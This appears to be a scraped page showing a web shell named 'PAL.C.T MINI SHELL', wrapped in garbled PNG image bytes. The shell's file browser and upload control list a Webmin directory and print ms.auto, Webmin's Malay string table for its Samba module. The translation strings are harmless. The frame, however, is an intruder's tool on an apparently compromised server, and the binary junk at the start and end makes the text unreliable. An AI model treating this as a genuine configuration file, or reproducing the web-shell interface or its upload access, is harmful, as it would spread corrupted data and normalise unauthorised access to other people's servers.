php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/samba/lang/
upload
files >> //usr/libexec/webmin/samba/lang/ms.auto

index_title=Perkongsian Fail Windows Berkongsi
index_sharelist=senarai saham
index_userlist=senarai pengguna
index_fileshare=bahagian fail
index_printershare=bahagian pencetak
index_shareconf=konfigurasi saham
index_version=Versi Samba $1 
index_samba=Samba

index_sharename=Nama Kongsi
index_path=Jalan
index_security=Keselamatan
index_homedir=Semua Direktori Utama
index_allprinter=Semua Pencetak
index_printer=Mesin pencetak
index_defaultprn=Pencetak lalai
index_printableto=Dicetak untuk
index_prneveryone=Dicetak untuk semua orang
index_prnalluser=Dicetak untuk semua pengguna yang diketahui
index_rwpublic=Baca/tulis kepada semua orang
index_readonly=Baca sahaja kepada $1 <br> Baca/tulis kepada semua pengguna lain yang diketahui
index_rwalluser=Baca/tulis kepada semua pengguna yang diketahui
index_roeveryone=Baca hanya kepada semua orang
index_readwrite=Baca/tulis kepada $1 <br> Baca hanya kepada semua pengguna lain yang diketahui
index_roalluser=Baca hanya kepada semua pengguna yang diketahui
index_noshares=Tiada saham Samba ditakrifkan
index_createfileshare=Buat bahagian fail baru.
index_createprnshare=Buat bahagian pencetak baru.
index_createcopy=Buat salinan baru.
index_view=Lihat semua sambungan.
index_start=Mula Samba Pelayan
index_start_wb=Mulailah pelayan Winbind
index_startmsg=Pelayan Samba tidak kelihatan berjalan pada sistem anda. Ini bermakna saham yang disenaraikan di atas tidak dapat diakses oleh komputer lain.
index_startmsg_wb=Pelayan Winbind tidak kelihatan berjalan pada sistem anda.
index_restart=Restart Samba Servers
index_restart_wb=Restart Server Winbind
index_restartmsg=Klik butang ini untuk memulakan semula pelayan Samba yang sedang berjalan pada sistem anda. Ini akan memaksa konfigurasi semasa untuk digunakan.
index_restartmsg_wb=Klik butang ini untuk memulakan semula pelayan Winbind yang sedang berjalan pada sistem anda.
index_restartmsg2=Ini juga akan memutuskan mana-mana sambungan ke pelayan, jadi jika anda tidak mahu konfigurasi semasa digunakan sebaik sahaja anda hanya perlu menunggu 1 minit sehingga Samba memuatkan semula konfigurasi secara automatik.
index_stop=Hentikan pelayan Samba
index_stop_wb=Hentikan Pelayan Winbind
index_stopmsg=Klik butang ini untuk menutup pelayan Samba yang sedang berjalan pada sistem anda. Semua pengguna log masuk pada masa ini akan diputuskan secara paksa.
index_stopmsg_wb=Klik butang ini untuk menutup pelayan Winbind yang sedang berjalan pada sistem anda.
index_einclude=Amaran - Fail konfigurasi Samba anda $1 mengandungi arahan $2 atau $3. Ini mungkin menyebabkan Webmin mengubah suai fail secara salah.
index_delete=Padamkan Saham Terpilih

config_mins=Mins
config_secs=Secs
config_bytes=Bytes
config_never=Tidak pernah
config_all=Semua
config_neither=Tidak

global_title=Konfigurasi Global
global_unixnetwork=Rangkaian Unix
global_winnetwork=Rangkaian Windows
global_auth=Pengesahan
global_printing=Windows untuk Percetakan Unix
global_misc=Pilihan Pelbagai
global_filedefault=Fail Kongsi Default
global_prndefault=Default Kongsi Pencetak
global_password=Kata laluan yang disulitkan
global_users=Pengguna Samba
global_group=Kumpulan Samba
global_bind=Pilihan Winbind

error_nosamba=Pelayan Samba yang boleh dilaksanakan <tt>$1</tt> tidak dijumpai. Sama ada Samba tidak dipasang pada sistem anda atau <a href="$2">konfigurasi modul</a> anda tidak betul.
error_version=Webmin gagal mendapatkan versi pelayan Samba yang boleh dieksekusi <tt>$1</tt>. Semak <a href="$2">konfigurasi modul</a> anda untuk memastikan ini adalah jalan yang betul.
error_config=Fail konfigurasi $1 tidak dijumpai. Kemungkinan besar Samba tidak dipasang pada sistem anda, atau <a href="$2">konfigurasi modul</a> anda tidak betul.
error_include=Webmin tidak dapat mengendalikan fail konfigurasi Samba yang menggunakan arahan <tt>config</tt> atau <tt>include</tt>.
error_delshare=Gagal memotong bahagian
error_delcopy=Bahagian '$1' salinan dari bahagian ini
error_savename=Gagal menyimpan nama fail

convert_title=Tukar Pengguna
convert_msg=Borang ini membolehkan anda menyegerakkan senarai pengguna Unix dan Samba. Apabila Samba menggunakan <a href=$1>kata laluan yang disulitkan</a>, senarai pengguna dan kata laluan yang berasingan digunakan dan bukannya senarai pengguna sistem.
convert_noconv=Jangan menukar atau mengalih keluar pengguna ini:
convert_ncdesc=Senarai pengguna yang tidak boleh menukar boleh mengandungi nama pengguna, UIDs, nama kumpulan yang diawali dengan <tt>@</tt>, atau julat UID seperti <i>500-1000</i> atau <i>500 -</ i >.
convert_update=Kemas kini pengguna Samba sedia ada dari butiran Unix mereka
convert_add=Tambah pengguna Samba baharu dari senarai pengguna Unix
convert_delete=Padam pengguna Samba yang tidak wujud di bawah Unix
convert_newuser=Untuk pengguna yang baru dibuat, tentukan kata laluan untuk:
convert_nopasswd=Tiada kata laluan
convert_lock=Akaun dikunci
convert_passwd=Gunakan kata laluan ini
convert_convert=Tukar Pengguna
convert_cannot=Pengguna Unix tidak boleh ditukar kepada pengguna Samba
convert_who=Pengguna Unix untuk menukar
convert_who0=Hanya pengguna yang disenaraikan atau julat UID
convert_who1=Semua kecuali pengguna yang disenaraikan dan julat UID

misc_title=Pilihan Pelbagai
misc_debug=Tahap Debug
misc_cachecall=Cache <tt>getwd ()</tt> panggilan?
misc_lockdir=Direktori kunci
misc_log=Fail log
misc_maxlog=Saiz log maksimum
misc_rawread=Benarkan bacaan mentah?
misc_rawwrite=Benarkan menulis mentah?
misc_overlapread=Saiz membaca bertindih
misc_chroot=<tt>chroot ()</tt> direktori
misc_smbrun=Jalan ke <tt>smbrun</tt>
misc_clienttime=Masa mengimbangi pelanggan
misc_readprediction=Baca ramalan?

net_title=Pilihan Rangkaian Unix
net_idle=Masa maag sebelum putuskan sambungan
net_trustlist=Fail tuan rumah/pengguna yang dipercayai
net_netinterface=Antara muka rangkaian
net_auto=Automatik
net_uselist=Gunakan senarai. ..
net_interface=Antara muka
net_netmask=Netmask
net_keepalive=Pakej Keepalive
net_notsend=Jangan hantar apa-apa
net_every=Hantar setiap
net_maxpacket=Saiz paket maksima
net_listen=Dengar di alamat
net_ip=alamat IP
net_socket=Pilihan soket

passwd_title=Pilihan Kata Laluan
passwd_encrypt=Gunakan kata laluan yang disulitkan?
passwd_allownull=Benarkan kata laluan yang tidak sah?
passwd_program=Program kata laluan
passwd_case=Perbezaan kes kata laluan
passwd_sync=Tukar kata laluan Unix juga?
passwd_chat=Tukar sembang kata laluan
passwd_below=Disenaraikan di bawah:
passwd_waitfor=Tunggu
passwd_send=Hantar
passwd_map=Pemetaan nama pengguna
passwd_unixuser=Pengguna Unix
passwd_winuser=Pengguna Windows

print_title=Pilihan Percetakan
print_style=Gaya cetak Unix
print_show=Tunjukkan semua pencetak?
print_printcap=Fail fail
print_cachetime=Masa cache status pencetak

smb_title=Pilihan Rangkaian Windows
smb_workgroup=Kumpulan kerja
smb_wins=Mod MENANG
smb_winsserver=Jadilah pelayan menang
smb_useserver=Gunakan pelayan
smb_description=Penerangan pelayan
smb_descriptionnone=Tiada
smb_name=Nama pelayan
smb_aliase=Alias pelayan
smb_default=Perkhidmatan lalai
smb_show=Sentiasa tunjukkan perkhidmatan
smb_disksize=Max melaporkan saiz cakera
smb_unlimited=Tidak terhad
smb_winpopup=Perintah Winpopup
smb_priority=Keutamaan pelayar utama
smb_protocol=Protokol tertinggi
smb_master=Pelayar induk?
smb_master_auto=Automatik
smb_security=Keselamatan
smb_sharelevel=Tahap saham
smb_userlevel=Tahap pengguna
smb_passwdserver=Pelayan kata laluan
smb_server=Pelayan kata laluan
smb_domain=Domain
smb_ads=Direktori aktif
smb_announce=Jauh umumkan
smb_nowhere=Tiada tempat
smb_fromlist=Daripada senarai. ..
smb_ip=Alamat IP
smb_asworkgroup=<b>Sebagai Workgroup</b> (pilihan)

create_title=Buat Salin
create_msg=Sumbangan salinan akan mewarisi semua nilai lalai dari bahagian yang anda pilih. Sekiranya saham sumber ditukar, begitu juga salinannya.
create_from=Berkongsi untuk menyalin dari:
create_name=Nama saham baru:

smbuser_title=Pengguna Samba
smbuser_list=Senarai Pengguna Samba
smbuser_nouser=Tiada pengguna Samba ditakrifkan.
smbuser_cannot=Pengguna Samba tidak boleh disenaraikan

euser_title=Edit Pengguna Samba
euser_name=Nama pengguna
euser_uid=Unix UID
euser_passwd=Kata laluan
euser_noaccess=Tiada akses
euser_nopw=Tiada kata laluan
euser_currpw=Kata laluan semasa
euser_newpw=Kata laluan baharu
euser_realname=Nama sebenar
euser_homedir=Direktori rumah
euser_shell=Shell
euser_option=Pilihan pengguna
euser_normal=Pengguna biasa
euser_noexpire=Kata laluan tidak akan luput
euser_locked=Akaun dikunci
euser_nopwrequired=Tiada kata laluan yang diperlukan
euser_disable=Akaun dilumpuhkan
euser_trust=Akaun amanah stesen

fmisc_title=Lalai Fail Pelbagai
fmisc_for=Untuk berkongsi <tt>$1</tt>
fmisc_lockfile=Adakah penguncian fail?
fmisc_maxconn=Sambungan maksimum
fmisc_fake=Oplocks palsu?
fmisc_oplocks=Dayakan oplocks?
fmisc_level2=Oplocks baca sahaja?
fmisc_sharemode=Gunakan mod saham?
fmisc_strict=Penguncian yang ketat?
fmisc_sync=Segerakkan selepas menulis?
fmisc_volume=Nama volum
fmisc_sameas=Sama seperti saham
fmisc_unixdos=Peta nama fail Unix-DOS
fmisc_conncmd=Perintah untuk disambungkan
fmisc_disconncmd=Perintah untuk berjalan di putuskan sambungan
fmisc_rootconn=Perintah untuk menyambungkan <i>sebagai root</i>
fmisc_rootdisconn=Perintah untuk berjalan pada putuskan <i>sebagai root</i>

fname_title1=Default Penamaan Fail
fname_title2=Edit Penamaan Fail
fname_option=Pilihan Penamaan Fail
fname_manglecase=Kes Mangle?
fname_case=Sensitif Kes?
fname_defaultcase=Kes lalai?
fname_lower=Lebih rendah
fname_upper=Atas
fname_preserve=Memelihara kes?
fname_shortpreserve=Kes pelindung pendek?
fname_hide=Sembunyikan fail dot?
fname_archive=Simpan bendera arkib DOS?
fname_hidden=Simpan bendera DOS yang tersembunyi?
fname_system=Simpan bendera sistem DOS?

fperm_title1=Lalai Kebenaran Fail
fperm_title2=Edit Kebenaran Fail
fperm_option=Pilihan Kebenaran Fail
fperm_filemode=Mod fail Unix baru
fperm_dirmode=Mod direktori Unix baru
fperm_notlist=Direktori tidak disenaraikan
fperm_forceuser=Tentera pengguna Unix
fperm_forcegrp=Pasukan Pasukan Unix
fperm_link=Benarkan symlink di luar bahagian?
fperm_delro=Boleh memadam fail baca?
fperm_forcefile=Mod fail Force Unix
fperm_forcedir=Mod direktori Force Unix

share_title1=Fail Kongsi Default
share_title2=Edit Kongsi Fail
share_title3=Buat Fail Saham
share_info=Kongsi maklumat
share_copy=Bahagian ini adalah salinan <i>$1</i>
share_name=Nama saham
share_home=Kongsi Direktori Utama
share_dir=Direktori untuk berkongsi
share_create=Buat direktori secara automatik?
share_owner=Buat dengan pemilik
share_createperms=Buat dengan kebenaran
share_group=Buat dengan kumpulan
share_available=Terdapat?
share_browseable=Boleh dibaca?
share_comment=Kongsi Komen
share_view=Lihat Sambungan
share_option=Pilihan Saham Lain
share_security=Kawalan Keselamatan dan Akses
share_permission=Kebenaran Fail
share_naming=Penamaan Fail
share_misc=Pilihan Pelbagai
share_samedesc1=Nota - tetapan ini juga memberi kesan kepada kegagalan semua saham fail.
share_samedesc2=Nota - tetapan ini juga memberi kesan kepada lalai untuk semua saham pencetak.

print_title1=Default Pilihan Pencetak
print_title2=Edit Pilihan Pencetak
print_option=Pilihan Pencetak
print_minspace=Ruang kosong minimum
print_postscript=Paksikan pencetakan pos
print_command=Cetak arahan
print_queue=Perintah giliran paparan
print_delete=Padam arahan kerja
print_pause=Jeda arahan kerja
print_unresume=Berikan arahan kerja
print_driver=Pemacu pencetak

pshare_title1=Default Kongsi Pencetak
pshare_title2=Edit Saham Pencetak
pshare_title3=Buat Pencetak Kongsi
pshare_info=Kongsi maklumat
pshare_name=Nama saham
pshare_all=Semua Printers Share
pshare_unixprn=Pencetak Unix
pshare_spool=Direktori jet

sec_index1=Lalai Keselamatan
sec_index2=Edit Keselamatan
sec_writable=Writable?
sec_guest=Akses tetamu?
sec_guestonly=Tetamu sahaja
sec_guestaccount=Pengguna Unix tetamu
sec_limit=Had kepada senarai mungkin?
sec_allowhost=Hos untuk membenarkan
sec_onlyallow=Hanya benarkan
sec_denyhost=Hos untuk menafikan
sec_onlydeny=Hanya menafikan
sec_revalidate=Menghidupkan semula pengguna?
sec_validuser=Pengguna yang sah
sec_validgroup=Kumpulan sah
sec_invaliduser=Pengguna tidak sah
sec_invalidgroup=Kumpulan tidak sah
sec_possibleuser=Pengguna yang mungkin
sec_possiblegroup=Kumpulan yang mungkin
sec_rouser=Baca pengguna sahaja
sec_rogroup=Baca kumpulan sahaja
sec_rwuser=Baca/tulis pengguna
sec_rwgroup=Membaca/menulis kumpulan

esync_title=Penyegerakan Pengguna
esync_msg=Webmin boleh dikonfigurasikan supaya perubahan kepada senarai pengguna Unix secara automatik akan digunakan pada senarai pengguna Samba. Ini hanya akan berfungsi apabila modul Webmin <b>Pengguna dan Kumpulan</b> digunakan untuk menambah, memadam atau menukar pengguna.
esync_add=Tambah pengguna Samba apabila pengguna Unix ditambah
esync_chg=Tukar pengguna Samba apabila pengguna Unix ditukar
esync_del=Padam pengguna Samba apabila pengguna Unix dipadam
esync_del_profile=Memadam profil perayauan apabila pengguna Unix dipadam
esync_chg_profile=Namakan semula nama perayauan apabila pengguna Unix dinamakan semula
esync_gid=Kumpulan SID atau RID untuk pengguna baru
esync_apply=Sapukan
esync_cannot=Penyegerakan pengguna tidak boleh dikonfigurasikan
esync_egid=Kumpulan hilang SID atau RID

mkpass_title=Tukar Pengguna
mkpass_convfail=Gagal menukar pengguna
mkpass_msg=Menukar pengguna Unix. ..
mkpass_skip=Dilangkau
mkpass_same=Sudah sama
mkpass_update=Dikemaskini
mkpass_added=Ditambah
mkpass_del=Dihapuskan
mkpass_passfail=Gagal menetapkan kata laluan
mkpass_user=Nama pengguna
mkpass_action=Tindakan diambil
mkpass_skipcount=$1 pengguna dilangkau untuk penukaran.

savecopy_fail=Gagal membuat salinan
savecopy_global=Nama 'global' tidak boleh digunakan untuk berkongsi
savecopy_exist=Satu bahagian yang dipanggil '$1' sudah wujud
savecopy_ename=Tiada nama saham yang dimasukkan

saveuser_fail=Gagal menyimpan pengguna
saveuser_uid='$1' bukan UID Unix yang sah
saveuser_colon=Nama sebenar tidak boleh mengandungi aksara :
saveuser_home=Direktori rumah '$1' tidak wujud
saveuser_shell=$1 bukan shell yang sah
saveuser_pass=Gagal menukar kata laluan menggunakan smbpasswd : $1 
saveuser_ews=Pilihan 'Akaun kepercayaan stok' tidak boleh didayakan untuk pengguna sedia ada

savefmisc_fail=Gagal menyimpan pilihan pelbagai
savefmisc_number='$1' bukan nombor sambungan yang sah

savefperm_fail=Gagal menyimpan kebenaran fail
savefperm_mode='$1' bukan mod fail Unix yang sah

savefshare_fail=Gagal menyimpan bahagian
savefshare_nopath=Tiada jalan yang diberikan
savefshare_exist=Satu bahagian yang dipanggil '$1' sudah wujud
savefshare_mode='$1' bukan nama kongsi yang sah
savefshare_global=Nama 'global' tidak boleh digunakan untuk berkongsi
savefshare_owner=Pemilik yang hilang atau tidak sah untuk direktori baru
savefshare_group=Kumpulan hilang atau tidak sah untuk direktori baru
savefshare_perms=Permit hilang atau tidak sah untuk direktori baru
savefshare_emkdir=Gagal membuat direktori : $1 

savemisc_fail=Gagal menyimpan pilihan
savemisc_lockdir=Direktori yang mengandungi direktori kunci tidak wujud
savemisc_logdir=Direktori yang mengandungi fail log tidak wujud
savemisc_logsize='$1' bukan saiz log yang sah
savemisc_overlap='$1' bukan ukuran baca bertindih yang sah
savemisc_chroot=Direktori chroot '$1' tidak wujud
savemisc_smbrun=Program smbrun '$1' tidak wujud atau tidak dapat dieksekusi
savemisc_time='$1' bukanlah masa yang sah

savenet_fail=Gagal menyimpan pilihan
savenet_timeout='$1' bukan masa tunda putus yang sah
savenet_ip='$1' bukan merupakan bait IP yang sah
savenet_keep='$1' bukanlah selang bawaan yang sah
savenet_maxxmit='$1' bukan saiz paket maksimum yang sah

savepass_fail=Gagal menyimpan pilihan
savepass_nopass=Versi Samba anda tidak menyokong kata laluan yang disulitkan
savepass_passwd=Tiada kata laluan menukar program yang diberikan
savepass_level='$1' bukan perbezaan kata laluan yang sah
savepass_chat=Urutan perbualan kata laluan perubahan kosong

savepopts_fail=Gagal menyimpan pilihan pencetak
savepopts_number=Ruang bebas minimum mestilah nombor

saveprint_fail=Gagal menyimpan pilihan
saveprint_printcap=Fail printcap '$1' tidak wujud
saveprint_cache='$1' bukan masa cache yang sah

savepshare_fail=Gagal menyimpan bahagian cetak
savepshare_exist=Satu bahagian yang dipanggil '$1' sudah wujud
savepshare_name='$1' bukan nama kongsi yang sah
savepshare_global=Nama 'global' tidak boleh digunakan untuk berkongsi

savesec_fail=Gagal menyimpan keselamatan

savesmb_fail=Gagal menyimpan pilihan
savesmb_size='$1' bukan saiz cakera yang sah
savesmb_oslevel='$1' bukan keutamaan pelayar induk yang sah
savesmb_server=Anda mesti memasukkan pelayan kata laluan

start_err=Gagal memulakan pelayan Samba
start_fail=$1 gagal
start_err_wb=Gagal memulakan pelayan Winbind

restart_err=Gagal memulakan semula pelayan Samba
restart_err_wb=Gagal memulakan semula pelayan Winbind

swats_fail=Gagal menyimpan nama pengguna
swats_user=Nama pengguna SWAT yang tiada

viewu_index=Pengguna Semasa
viewu_list=Pengguna semasa $1 
viewu_share=Kongsi
viewu_user=Pengguna
viewu_group=Kumpulan
viewu_from=Disambungkan dari
viewu_time=Disambungkan pada
viewu_pid=ID Proses
viewu_msg1=Klik pada ID proses dari senarai di atas untuk memutuskan sambungan pengguna tersebut.
viewu_msg2=Tiada pengguna yang berkaitan sekarang.
viewu_locks=Buka fail
viewu_none=Tiada
viewu_ecmd=Program status Samba $1 tampaknya tidak dipasang pada sistem anda. Mungkin konfigurasi modul <a href='$2'></a> tidak betul.
viewu_kill=Putuskan sambungan Pengguna Terpilih
viewu_enone=Tiada pengguna yang dipilih
viewu_refresh=Muat semula halaman.

log_apply=Restart pelayan Samba
log_apply_wb=Dihidupkan semula pelayan Winbind
log_stop=Berhenti pelayan Samba
log_stop_wb=Berhenti pelayan Winbind
log_start=Memulakan pelayan Samba
log_start_wb=Memulakan pelayan Winbind
log_save_fshare=Perkongsian fail yang diubahsuai $1 
log_save_pshare=Perkongsian pencetak yang diubahsuai $1 
log_save_sec=Mengubah keselamatan dan kawalan akses untuk saham $1 
log_save_fperm=Kebenaran fail diubah suai untuk perkongsian $1 
log_save_fname=Penamaan fail diubah suai untuk berkongsi $1 
log_save_fmisc=Mengubah pilihan pelbagai untuk saham $1 
log_save_popts=Pilihan pencetak yang diubahsuai untuk saham $1 
log_default_fshare=Lalai perkongsian fail yang diubah
log_default_pshare=Lalai bahagian pencetak yang berubah
log_kill=Proses terputus $1 
log_skill=Proses terputus $1 dari perkongsian $2 
log_kills=Proses $1 disambung
log_skills=Pemotongan $1 proses dari bahagian $2 
log_create_fshare=Bahagian fail yang dibuat $1 
log_create_pshare=Bahagian pencetak yang dicipta $1 
log_delete_fshare=Perkongsian fail yang dipotong $1 
log_delete_pshare=Bahagian pencetak yang dipotong $1 
log_delete_shares=$1 saham dibuang
log_net=Pilihan rangkaian Unix yang berubah
log_smb=Menukar pilihan rangkaian Windows
log_pass=Pilihan pengesahan yang berubah
log_print=Menukar Windows ke pilihan percetakan Unix
log_misc=Menukar pilihan pelbagai
log_bind=Tukar pilihan Winbind
log_sync=Penyegerakan pengguna Unix dikonfigurasikan
log_epass=Pengguna Unix yang ditukar kepada pengguna Samba
log_epass_l=Pengguna Unix yang ditukar kepada pengguna Samba ($1 dicipta, $2 diubah suai, $3 dipadam)
log_copy=Bahagian yang disalin $2 hingga $1 
log_save_euser=Pengguna Samba yang diubah suai $1 
log_delete_euser=Pengguna Samba dipadam $1 
log_create_group=Kumpulan Samba yang dibuat $1 
log_modify_group=Kumpulan Samba yang diubah suai $1 
log_delete_group=Kumpulan Samba yang dipotong $1 
log_gsync=Penyegerakan kumpulan Unix dikonfigurasikan
log_manual=Fail konfigurasi disunting secara manual $1 

swat_title=Masuk SWAT
swat_list=Masuk SWAT
swat_msg1=Nama pengguna dan kata laluan SWAT anda tidak betul. Gunakan borang di bawah untuk log masuk sekali lagi.
swat_msg2=Nama pengguna dan kata laluan dikehendaki masuk ke SWAT. Ini lazimnya menjadi pengguna pada sistem anda.
swat_msg3=Anda tidak boleh menjalankan SWAT melalui Webmin, kerana konfigurasi Samba anda telah menetapkan pilihan <tt>$1 :...</tt> (membolehkan hos).
swat_msg4=Walau bagaimanapun, anda mungkin boleh menyambung ke SWAT secara langsung di $1 
swat_username=Nama pengguna
swat_password=Kata laluan
swat_login=Log masuk
swat_clear=Jelas
swat_logout=Keluar dari SWAT

eacl_aviol=Pelanggaran kawalan akses
eacl_np=Anda tidak mempunyai keizinan
eacl_papply=mulakan semula perkhidmatan ini
eacl_pcn=edit pilihan rangkaian unix
eacl_pcs=edit pilihan rangkaian smb
eacl_pcp=edit pilihan kata laluan
eacl_pcprint=edit pilihan percetakan
eacl_pcm=edit pilihan-pilihan misc
eacl_pcswat=gunakan SWAT
eacl_pcopy=menyalin saham
eacl_pconn_all=lihat semua sambungan
eacl_pconn=lihat sambungan untuk bahagian ini
eacl_pgkill=membunuh sambungan
eacl_pkill=bunuh sambungan ini
eacl_pus=kemas kini bahagian
eacl_pcrs=buat bahagian
eacl_pds=padamkan bahagian
eacl_pusec=kemas kini keselamatan dan pilihan kawalan akses untuk bahagian ini
eacl_pufperm=kemas kini pilihan kebenaran fail untuk bahagian ini
eacl_pufname=kemas kini pilihan penamaan fail untuk bahagian ini
eacl_pufmisc=kemas kini misc. pilihan untuk bahagian ini
eacl_pupopt=kemas kini pilihan pencetak untuk bahagian ini
eacl_pmpass=memulakan pangkalan data pengguna Samba
eacl_pmsync=sediakan penyegerakan pengguna Unix-Samba
eacl_pmusers=mengekalkan pengguna Samba
eacl_pvusers=akses pengguna Samba
eacl_pvfmisc=akses misc. pilihan untuk bahagian ini
eacl_pvfname=akses pilihan penamaan fail untuk bahagian ini
eacl_pvperm=akses pilihan kebenaran fail untuk bahagian ini
eacl_pvsec=akses keselamatan dan pilihan kawalan akses untuk bahagian ini
eacl_pvpopt=akses pilihan pencetak untuk bahagian ini
eacl_pafs=akses bahagian fail ini
eacl_paps=akses bahagian pencetak ini
eacl_pcps=mencipta bahagian pencetak
eacl_pcfs=buat bahagian fail

acl_apply=Boleh memohon perubahan dan menghentikan Samba?
acl_view_all_con=Boleh melihat semua sambungan?
acl_kill_con=Boleh mengeluarkan sambungan?
acl_conf_net=Bolehkah mengkonfigurasi pilihan rangkaian Unix?
acl_conf_smb=Bolehkah mengkonfigurasi pilihan rangkaian Windows?
acl_conf_pass=Bolehkah mengkonfigurasikan pilihan pengesahan?
acl_conf_print=Bolehkah mengkonfigurasi pilihan pencetak?
acl_conf_misc=Boleh mengkonfigurasi misc. pilihan?
acl_swat=Boleh menggunakan SWAT?
acl_manual=Bolehkah mengedit fail konfigurasi secara manual?
acl_enc_passwd_opts=Pilihan kata laluan yang disulitkan
acl_view_users=Boleh melihat pangkalan data pengguna Samba?
acl_maint_users=Bolehkah mengedit pengguna Samba?
acl_maint_makepass=Bolehkah menukar pengguna Unix ke pengguna Samba?
acl_maint_sync=Bolehkah mengekalkan auto Unix untuk penyegerakan pengguna Samba?
acl_hide=Sembunyikan objek yang boleh diakses?
acl_c=buat
acl_r=baca
acl_w=tulis
acl_afs=Akses fail fail
acl_aps=Akses cetakan saham
acl_copy=Bolehkah menyalin saham?
acl_per_fs_acls=Dayakan per-share-share acls?
acl_per_ps_acls=Membolehkan akls per-cetak-saham?
acl_per_share_acls=ACL per-kongsi. ..
acl_ernow=Jika anda ingin mendayakan akses tulis dalam ACL global untuk sesetengah jenis objek, anda juga harus mendayakan akses baca untuk jenis objek ini.
acl_sname=Nama saham
acl_saccess=Perkongsian akses
acl_sconn=Sambungan
acl_sopthdr=Pilihan saham
acl_ssec=keselamatan
acl_sperm=kebenaran
acl_snaming=penamaan fail
acl_smisc=pelbagai
acl_sprn=atau pencetak
acl_na=n/a
acl_r1=baca sahaja
acl_rw=baca tulis
acl_view=pandangan
acl_kill=bunuh
acl_edit=edit
acl_group_opts=Pilihan kumpulan Samba
acl_maint_groups=Boleh melihat, mengedit dan menambah kumpulan?
acl_maint_gsync=Bolehkah mengekalkan auto Unix untuk menyegerakkan kumpulan Samba?
acl_winbind=Bolehkah mengikat domain?
acl_bind=Bolehkah mengakses pilihan winbind?

groups_title=Kumpulan Samba
groups_name=Nama kumpulan
groups_unix=Kumpulan Unix
groups_nounix=Tiada
groups_type=Taipkan
groups_type_d=Kumpulan domain
groups_type_b=NT builtin
groups_type_l=Kumpulan setempat
groups_type_u=Tidak diketahui
groups_sid=SID
groups_none=Tiada kumpulan Samba yang telah ditakrifkan lagi.
groups_return=senarai kumpulan
groups_add=Tambah kumpulan Samba baharu.
groups_ecannot=Anda tidak dibenarkan untuk melihat atau mengedit kumpulan Samba
groups_cannot=Kumpulan Samba tidak boleh disenaraikan

gedit_title2=Edit Kumpulan Samba
gedit_title1=Buat Kumpulan Samba
gedit_header=Butiran kumpulan Samba
gedit_name=Nama kumpulan
gedit_type=Jenis kumpulan
gedit_sid=SID Kumpulan
gedit_desc=Penerangan
gedit_priv=Keistimewaan
gedit_unix=Kumpulan Unix
gedit_unixgr=Kumpulan ..
gedit_none=Tiada
gedit_set=Disenaraikan ..

gsave_err=Gagal menyimpan kumpulan
gsave_eunix=Nama kumpulan UNIX atau GID yang tiada atau tidak sah
gsave_ename=Nama kumpulan yang hilang
gsave_epriv=Keistimewaan kumpulan yang hilang
gsave_elocal=Keistimewaan hanya boleh ditetapkan untuk kumpulan tempatan

gsync_title=Penyegerakan Kumpulan
gsync_msg=Webmin boleh dikonfigurasikan supaya perubahan pada senarai kumpulan Unix secara automatik akan digunakan pada senarai kumpulan Samba. Ini hanya akan berfungsi apabila modul Webmin <b>Pengguna dan Kumpulan</b> digunakan untuk menambah, memadam atau menukar kumpulan.
gsync_add=Tambah kumpulan Samba apabila kumpulan Unix ditambah
gsync_chg=Tukar kumpulan Samba apabila kumpulan Unix ditukar
gsync_del=Padam kumpulan Samba apabila kumpulan Unix dipadamkan
gsync_apply=Sapukan
gsync_type=Jenis kumpulan baru
gsync_priv=Keistimewaan untuk kumpulan baru (jika setempat)
gsync_ecannot=Anda tidak dibenarkan untuk mengkonfigurasi penyegerakan kumpulan
gsync_cannot=Penyegerakan kumpulan tidak boleh dikonfigurasikan

check_user1=$1 : Kata laluan yang disulitkan tidak didayakan pada halaman <a href='$2'>Authentication</a>.
check_user2=$1 : Fail kata laluan Samba atau laluan ke pdbedit tidak ditetapkan pada halaman <a href='$2'>Modul Konfigurasi</a>.
check_group1=$1 : Kumpulan hanya disokong dalam versi Samba 3.
check_group2=$1 : Laluan untuk smbgroupedit atau arahan bersih ditetapkan pada halaman <a href='$2'>Konfigurasi Module</a>.

winbind_title=Bind ke Domain
winbind_ecannot=Anda tidak dibenarkan mengikat domain
winbind_msg=Borang ini boleh digunakan untuk mengikat pelayan Samba anda ke domain Windows, biasanya diuruskan oleh pelayan yang berbeza.
winbind_header=Ikon ke domain Windows
winbind_user=Bind sebagai pengguna
winbind_dom=Ikon ke domain
winbind_save=Bind Sekarang
winbind_default=Domain dari konfigurasi Samba
winbind_pass=Kata laluan pengguna
winbind_err=Gagal mengikat ke domain
winbind_euser=Nama pengguna yang hilang
winbind_edom=Nama domain yang tiada
winbind_cmd=Mengikat ke domain dengan arahan $1 ..
winbind_failed=.. gagal! Lihat output di atas atas alasan mengapa.
winbind_ok=.. lengkap.

bind_title=Pilihan Winbind
bind_ecannot=Anda tidak dibenarkan mengedit pilihan winbind
bind_header=Pilihan mengikat domain Windows
bind_local=Dayakan Winbind untuk akaun tempatan?
bind_trust=Pengguna pelayan domain amanah?
bind_users=Tolak penyenaraian pengguna?
bind_groups=Tolak penyenaraian kumpulan?
bind_defaultdomain=Sentiasa gunakan domain lalai?
bind_realm=Ranah Kerberos pada pelayan domain
bind_cache=Seconds untuk butiran pengguna cache untuk
bind_uid=Julat UIDs untuk pengguna Windows
bind_gid=Julat GIDs untuk kumpulan Windows
bind_backend=Backend LDAP untuk pemetaan akaun
bind_err=Gagal menyimpan pilihan Winbind
bind_erealm=Alam Kerberos tidak sah
bind_ecache=Masa cache yang hilang atau tidak sah
bind_euid=Pelbagai UID tidak sah - mestilah seperti 20000-30000
bind_egid=Julat GID tidak sah - mesti seperti 20000-30000

manual_title=Edit Fail Config
manual_desc=Mengedit fail konfigurasi Samba $1 ..
manual_err=Gagal menyimpan fail konfigurasi
manual_edata=Tiada apa-apa yang masuk!

delete_err=Gagal memadamkan saham
delete_enone=Tiada yang dipilih
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`